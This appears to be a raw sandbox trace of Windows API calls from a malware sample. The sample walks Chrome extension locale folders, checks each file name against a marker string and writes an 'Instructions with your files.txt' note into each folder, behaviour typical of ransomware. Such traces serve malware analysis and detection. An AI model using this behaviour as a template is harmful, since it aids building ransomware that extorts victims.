[0129.948] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*") returned 147
[0129.948] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8275c060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.948] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\.") returned 147
[0129.948] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82759950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8275c060, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.948] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\..") returned 148
[0129.948] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8275c060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.948] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json") returned 159
[0129.948] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.948] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8275c060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8275c060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x26e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.948] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\Instructions with your files.txt") returned 178
[0129.948] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.948] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.949] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.949] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.950] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.950] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.950] CloseHandle (hObject=0x134) returned 1
[0129.950] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.950] GetProcessHeap () returned 0x810000
[0129.950] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.950] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82765ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0129.950] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja") returned 145
[0129.950] GetProcessHeap () returned 0x810000
[0129.950] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.950] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*") returned 147
[0129.950] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82765ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.951] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\.") returned 147
[0129.951] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82763590, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82765ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.951] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\..") returned 148
[0129.951] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82765ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.951] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json") returned 159
[0129.951] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.951] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82765ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82765ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x30a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.951] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\Instructions with your files.txt") returned 178
[0129.951] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.952] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.953] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.953] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.953] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.953] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.953] CloseHandle (hObject=0x134) returned 1
[0129.953] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.953] GetProcessHeap () returned 0x810000
[0129.953] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.953] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8276f8e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0129.953] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko") returned 145
[0129.953] GetProcessHeap () returned 0x810000
[0129.953] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.953] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*") returned 147
[0129.953] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8276f8e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.954] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\.") returned 147
[0129.954] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8276d1d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8276f8e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.954] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\..") returned 148
[0129.954] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8276f8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.954] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json") returned 159
[0129.954] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.954] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8276f8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8276f8e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29d, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.954] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\Instructions with your files.txt") returned 178
[0129.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.954] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.955] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.955] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.955] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.955] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.955] CloseHandle (hObject=0x134) returned 1
[0129.956] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.956] GetProcessHeap () returned 0x810000
[0129.956] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.956] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82779520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0129.956] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt") returned 145
[0129.956] GetProcessHeap () returned 0x810000
[0129.956] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.956] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*") returned 147
[0129.956] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82779520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.957] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\.") returned 147
[0129.957] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82776e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82779520, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.957] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\..") returned 148
[0129.957] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82779520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.957] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\messages.json") returned 159
[0129.957] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.957] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82779520, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82779520, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82ab0130, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.957] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lt\\Instructions with your files.txt") returned 178
